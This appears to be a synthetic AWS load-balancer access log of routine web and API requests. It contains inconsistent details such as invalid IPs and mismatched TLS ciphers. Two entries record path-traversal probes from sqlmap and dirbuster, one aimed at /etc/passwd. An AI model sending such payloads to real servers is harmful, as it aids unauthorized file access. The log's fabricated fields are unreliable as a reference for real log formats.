arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be7b-7c214776b29946489608c127" "prod-web-alb.example.com" "-" 8 2024-11-01T00:29:31.646646Z "forward" "-" "-" "10.0.168.219:443" "200" "-" "-" -https 2024-11-01T00:29:31.944216Z prod-web-alb 15.73.243.217:48023 10.0.32.2:443 0.085136 0.159441 0.012618 302 302 841 2833 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be7b-05074d55b7ae4a54a65cd647" "prod-web-alb.example.com" "-" 6 2024-11-01T00:29:31.944216Z "forward" "-" "-" "10.0.32.2:443" "302" "-" "-" -https 2024-11-01T00:29:32.854826Z prod-web-alb 185.181.160.192:26802 10.0.141.85:443 0.039001 0.290010 0.035742 403 403 996 9746 "GET /static/../../secret HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be7c-76506a21dbf04edf81db89c2" "-" "-" 9 2024-11-01T00:29:32.854826Z "forward" "-" "-" "10.0.141.85:443" "403" "-" "-" -https 2024-11-01T00:29:33.715802Z prod-api-alb 205.67.134.164:26891 10.0.83.167:443 0.056746 0.497990 0.001565 404 404 178 4732 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be7d-9293a171b6e947318268444e" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:33.715802Z "forward" "-" "-" "10.0.83.167:443" "404" "-" "-" -http 2024-11-01T00:29:34.996239Z staging-alb 200.97.71.155:18093 148.38.76.173:443 0.042604 0.462531 0.021316 200 200 76 11176 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be7e-7e1c2790228d4f43b50b8cc1" "staging-alb.example.com" "-" 7 2024-11-01T00:29:34.996239Z "forward" "-" "-" "148.38.76.173:443" "200" "-" "-" -http 2024-11-01T00:29:36.119895Z staging-alb 50.111.122.121:17941 220.134.139.172:8080 0.019214 0.346461 0.028540 404 404 338 1768 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be80-a30faf5c564d48ff91351b21" "staging-alb.example.com" "-" 0 2024-11-01T00:29:36.119895Z "forward" "-" "-" "220.134.139.172:8080" "404" "-" "-" -http 2024-11-01T00:29:36.937525Z staging-alb 26.89.7.39:43725 153.148.231.88:80 0.033856 0.123131 0.108857 200 200 969 11760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be80-323b26a9401d4e6cb9c14e96" "staging-alb.example.com" "-" 0 2024-11-01T00:29:36.937525Z "forward" "-" "-" "153.148.231.88:80" "200" "-" "-" -https 2024-11-01T00:29:38.630507Z prod-web-alb 193.214.44.190:54159 10.0.226.184:443 0.051819 0.130946 0.073511 200 200 567 14494 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be82-c7ea06c000cd4d65a88cf8e8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:38.630507Z "forward" "-" "-" "10.0.226.184:443" "200" "-" "-" -https 2024-11-01T00:29:39.948137Z prod-api-alb 80.246.128.213:31689 10.0.240.36:443 0.095755 0.302655 0.072045 200 200 802 7322 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be83-700c78a10ac34e138d63b7aa" "prod-api-alb.example.com" "-" 7 2024-11-01T00:29:39.948137Z "forward" "-" "-" "10.0.240.36:443" "200" "-" "-" -https 2024-11-01T00:29:41.845896Z prod-api-alb 112.76.79.252:28318 10.0.111.122:443 0.009214 0.468704 0.037290 404 404 271 1202 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be85-1cac498ad0ef42678d30c780" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:41.845896Z "forward" "-" "-" "10.0.111.122:443" "404" "-" "-" -https 2024-11-01T00:29:43.072257Z prod-web-alb 111.146.227.40:22642 10.0.103.185:443 0.064950 0.128752 0.053311 301 301 653 6884 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be87-04576eca73dd4290b9ebd1f9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:43.072257Z "forward" "-" "-" "10.0.103.185:443" "301" "-" "-" -http 2024-11-01T00:29:43.571032Z staging-alb 90.200.64.136:38410 158.116.69.112:443 0.046311 0.635440 0.138487 200 200 772 12013 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be87-06fe824648534a7891231764" "staging-alb.example.com" "-" 8 2024-11-01T00:29:43.571032Z "forward" "-" "-" "158.116.69.112:443" "200" "-" "-" -https 2024-11-01T00:29:44.376776Z staging-alb 78.127.115.181:38314 72.146.109.165:8080 0.066325 0.107883 0.022691 200 200 103 10347 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be88-341c22c4ae8b4c1c8aa22f09" "-" "-" 5 2024-11-01T00:29:44.376776Z "forward" "-" "-" "72.146.109.165:8080" "200" "-" "-" -https 2024-11-01T00:29:45.655885Z prod-api-alb 172.70.120.71:64952 10.0.74.170:443 0.098433 0.407977 0.097900 200 200 920 13352 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be89-fa5b803ee267402f88b986d7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:29:45.655885Z "forward" "-" "-" "10.0.74.170:443" "200" "-" "-" -https 2024-11-01T00:29:45.794317Z prod-web-alb 55.120.131.162:39578 10.0.138.136:443 0.088193 0.279035 0.073903 200 200 894 8959 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be89-85574ab31ace495fa3ceaac8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:45.794317Z "forward" "-" "-" "10.0.138.136:443" "200" "-" "-" -https 2024-11-01T00:29:46.846410Z prod-web-alb 239.135.187.36:48417 10.0.189.123:443 0.031483 0.204789 0.043379 200 200 95 14908 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be8a-1c06222c5de647c2a11f4ff1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:29:46.846410Z "forward" "-" "-" "10.0.189.123:443" "200" "-" "-" -https 2024-11-01T00:29:48.751844Z prod-web-alb 110.113.246.99:25793 10.0.137.70:443 0.089329 0.430720 0.046096 302 302 742 11860 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be8c-e452a958d29044ab9a22f735" "prod-web-alb.example.com" "-" 2 2024-11-01T00:29:48.751844Z "forward" "-" "-" "10.0.137.70:443" "302" "-" "-" -https 2024-11-01T00:29:49.704690Z prod-api-alb 166.8.128.228:39691 10.0.41.250:443 0.082147 0.407984 0.087409 200 200 592 11993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be8d-72eec5e9e7e8458bb2985550" "prod-api-alb.example.com" "-" 5 2024-11-01T00:29:49.704690Z "forward" "-" "-" "10.0.41.250:443" "200" "-" "-" -https 2024-11-01T00:29:51.123593Z prod-api-alb 193.123.12.37:22851 10.0.43.246:443 0.066955 0.192680 0.013509 200 200 758 894 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be8f-d3212194b6324ae9be5330ec" "prod-api-alb.example.com" "-" 7 2024-11-01T00:29:51.123593Z "forward" "-" "-" "10.0.43.246:443" "200" "-" "-" -https 2024-11-01T00:29:52.745697Z prod-api-alb 31.221.117.154:56742 10.0.75.133:443 0.092948 0.310411 0.043063 200 200 550 8593 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be90-500a3974c099485a8f080592" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:52.745697Z "forward" "-" "-" "10.0.75.133:443" "200" "-" "-" -https 2024-11-01T00:29:53.222274Z prod-web-alb 193.27.228.120:61046 10.0.213.42:443 0.056550 0.101637 0.025463 404 404 207 6943 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be91-218f30b4df5e4eefaee580c9" "-" "-" 5 2024-11-01T00:29:53.222274Z "forward" "-" "-" "10.0.213.42:443" "404" "-" "-" -https 2024-11-01T00:29:54.353766Z prod-api-alb 81.225.166.200:50962 10.0.11.135:443 0.005311 0.392687 0.034841 200 200 373 13144 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be92-be6987b4677d4656bc2c6744" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:54.353766Z "forward" "-" "-" "10.0.11.135:443" "200" "-" "-" -https 2024-11-01T00:29:55.868993Z prod-web-alb 172.146.230.227:50220 10.0.92.62:443 0.083773 0.429739 0.049367 404 404 895 12453 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be93-0330073b56764438a1eee500" "prod-web-alb.example.com" "-" 0 2024-11-01T00:29:55.868993Z "forward" "-" "-" "10.0.92.62:443" "404" "-" "-" -https 2024-11-01T00:29:56.017101Z prod-api-alb 105.52.18.78:36009 10.0.254.127:443 0.041008 0.340105 0.021731 200 200 569 2735 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be94-7b671dc894184b47b3ce6ca4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:29:56.017101Z "forward" "-" "-" "10.0.254.127:443" "200" "-" "-" -https 2024-11-01T00:29:56.301086Z prod-web-alb 100.252.128.2:38123 10.0.82.240:443 0.077170 0.198362 0.065973 200 200 706 7337 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be94-e2a52dac87c744609f6380ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:56.301086Z "forward" "-" "-" "10.0.82.240:443" "200" "-" "-" -https 2024-11-01T00:29:58.222718Z prod-web-alb 85.14.246.144:19038 10.0.78.148:443 0.094095 0.434409 0.055637 301 301 230 9000 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be96-8b1644a5bac749a6a9355225" "prod-web-alb.example.com" "-" 2 2024-11-01T00:29:58.222718Z "forward" "-" "-" "10.0.78.148:443" "301" "-" "-" -http 2024-11-01T00:29:59.071128Z staging-alb 168.208.43.156:23729 11.235.31.212:443 0.005477 0.408027 0.052778 200 200 644 5304 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be97-4fc8cc2175014212888ed459" "staging-alb.example.com" "-" 0 2024-11-01T00:29:59.071128Z "forward" "-" "-" "11.235.31.212:443" "200" "-" "-" -https 2024-11-01T00:30:00.323423Z prod-web-alb 130.13.210.157:63769 10.0.204.210:443 0.092235 0.402265 0.089167 200 200 801 11833 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be98-fec6828cb42847aa9cab4ea3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:30:00.323423Z "forward" "-" "-" "10.0.204.210:443" "200" "-" "-" -https 2024-11-01T00:30:00.608145Z prod-api-alb 255.49.53.145:53399 10.0.106.85:443 0.093671 0.376921 0.099472 302 302 422 13254 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be98-79539f5170164c46b99b1605" "prod-api-alb.example.com" "-" 4 2024-11-01T00:30:00.608145Z "forward" "-" "-" "10.0.106.85:443" "302" "-" "-" -https 2024-11-01T00:30:01.588822Z staging-alb 253.73.138.157:33527 120.247.188.152:443 0.096281 0.676383 0.077644 301 301 368 6363 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be99-5e4d7d8e111e41a4952664fb" "staging-alb.example.com" "-" 9 2024-11-01T00:30:01.588822Z "forward" "-" "-" "120.247.188.152:443" "301" "-" "-" -http 2024-11-01T00:30:03.343516Z staging-alb 99.133.78.242:21304 86.9.16.237:443 0.012151 0.623516 0.019052 200 200 7 2399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be9b-4d77af8bfb7e44edac7acfef" "staging-alb.example.com" "-" 3 2024-11-01T00:30:03.343516Z "forward" "-" "-" "86.9.16.237:443" "200" "-" "-" -https 2024-11-01T00:30:03.849268Z prod-web-alb 10.61.248.37:44861 10.0.145.132:443 0.062218 0.437877 0.017815 301 301 350 7169 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9b-1f81bff5f5944c8ba981b96a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:30:03.849268Z "forward" "-" "-" "10.0.145.132:443" "301" "-" "-" -https 2024-11-01T00:30:04.059628Z prod-web-alb 49.254.4.38:40035 10.0.98.117:443 0.052015 0.042764 0.079392 404 404 20 8607 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9c-ed961c88ac5e42c8ad7593fc" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:04.059628Z "forward" "-" "-" "10.0.98.117:443" "404" "-" "-" -https 2024-11-01T00:30:05.030149Z prod-api-alb 117.61.123.69:48873 10.0.83.152:443 0.090049 0.288937 0.069367 301 301 903 485 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be9d-2efcd4db11114cc2b19a6216" "prod-api-alb.example.com" "-" 2 2024-11-01T00:30:05.030149Z "forward" "-" "-" "10.0.83.152:443" "301" "-" "-" -https 2024-11-01T00:30:06.023673Z prod-web-alb 191.35.30.29:11131 10.0.172.99:443 0.052541 0.029248 0.070321 200 200 894 6127 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9e-b9d461eb6794450ca3e3f64a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:06.023673Z "forward" "-" "-" "10.0.172.99:443" "200" "-" "-" -https 2024-11-01T00:30:06.248021Z prod-api-alb 70.183.206.152:43591 10.0.34.23:443 0.062515 0.487526 0.036817 200 200 448 12508 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be9e-cbc8439d803d421c971e6bb3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:06.248021Z "forward" "-" "-" "10.0.34.23:443" "200" "-" "-" -https 2024-11-01T00:30:07.737739Z prod-web-alb 208.125.141.85:63712 10.0.133.224:443 0.084645 0.407121 0.008900 302 302 591 7450 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9f-40c059f9bebc4b45a5379f8f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:07.737739Z "forward" "-" "-" "10.0.133.224:443" "302" "-" "-" -https 2024-11-01T00:30:08.333746Z prod-web-alb 186.32.159.217:39870 10.0.90.112:443 0.056073 0.141720 0.051023 404 404 268 4161 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea0-f7d3be051559454885d3f4e5" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:08.333746Z "forward" "-" "-" "10.0.90.112:443" "404" "-" "-" -https 2024-11-01T00:30:09.542983Z prod-api-alb 79.185.160.194:28619 10.0.245.228:443 0.057217 0.453405 0.017749 404 404 188 14318 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea1-e736a507f1a04a1399902064" "prod-api-alb.example.com" "-" 6 2024-11-01T00:30:09.542983Z "forward" "-" "-" "10.0.245.228:443" "404" "-" "-" -https 2024-11-01T00:30:09.912752Z prod-web-alb 15.63.68.40:11545 10.0.201.122:443 0.069070 0.041152 0.016152 200 200 469 13701 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea1-018feb8e0f844075b6a5f899" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:09.912752Z "forward" "-" "-" "10.0.201.122:443" "200" "-" "-" -https 2024-11-01T00:30:11.146119Z prod-web-alb 211.110.167.163:24409 10.0.254.239:443 0.008150 0.087980 0.081736 200 200 328 9459 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea3-559067bb0999454ca9fdc144" "prod-web-alb.example.com" "-" 6 2024-11-01T00:30:11.146119Z "forward" "-" "-" "10.0.254.239:443" "200" "-" "-" -http 2024-11-01T00:30:12.447887Z staging-alb 112.56.189.117:12230 150.211.158.235:80 0.026550 0.107286 0.019660 301 301 615 1888 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea4-77c5b4190b6f4090b79b333d" "staging-alb.example.com" "-" 1 2024-11-01T00:30:12.447887Z "forward" "-" "-" "150.211.158.235:80" "301" "-" "-" -http 2024-11-01T00:30:13.071103Z staging-alb 4.36.88.185:21913 78.246.137.91:8080 0.083186 0.678197 0.138438 200 200 286 6313 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea5-0c5cce11611145219300589b" "staging-alb.example.com" "-" 3 2024-11-01T00:30:13.071103Z "forward" "-" "-" "78.246.137.91:8080" "200" "-" "-" -https 2024-11-01T00:30:13.957249Z prod-api-alb 22.141.247.90:34613 10.0.61.21:443 0.009052 0.039686 0.070274 200 200 615 6246 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bea5-920ecf0bdecd4763b2dcc720" "prod-api-alb.example.com" "-" 5 2024-11-01T00:30:13.957249Z "forward" "-" "-" "10.0.61.21:443" "200" "-" "-" -https 2024-11-01T00:30:15.204192Z prod-api-alb 39.217.227.25:15616 10.0.175.95:443 0.044738 0.454556 0.008450 200 200 114 10487 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea7-fbbee12023f040a38655c0d9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:30:15.204192Z "forward" "-" "-" "10.0.175.95:443" "200" "-" "-" -https 2024-11-01T00:30:16.223179Z staging-alb 44.115.91.118:53940 158.109.232.170:443 0.137287 0.420668 0.000118 404 404 307 2170 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea8-5eda3d9205524cd38d5e995c" "staging-alb.example.com" "-" 6 2024-11-01T00:30:16.223179Z "forward" "-" "-" "158.109.232.170:443" "404" "-" "-" -https 2024-11-01T00:30:17.468994Z prod-api-alb 86.31.90.178:53953 10.0.35.209:443 0.002350 0.377961 0.066254 302 302 222 5471 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea9-b4191dfa804d44bba1e141aa" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:17.468994Z "forward" "-" "-" "10.0.35.209:443" "302" "-" "-" -https 2024-11-01T00:30:17.849051Z prod-api-alb 204.192.49.78:34200 10.0.175.103:443 0.097524 0.080766 0.050103 200 200 166 4658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea9-c767caed2f8940519dec891c" "-" "-" 9 2024-11-01T00:30:17.849051Z "forward" "-" "-" "10.0.175.103:443" "200" "-" "-" -https 2024-11-01T00:30:19.295114Z prod-web-alb 186.148.160.162:38832 10.0.213.182:443 0.038980 0.219023 0.097929 302 302 893 4577 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 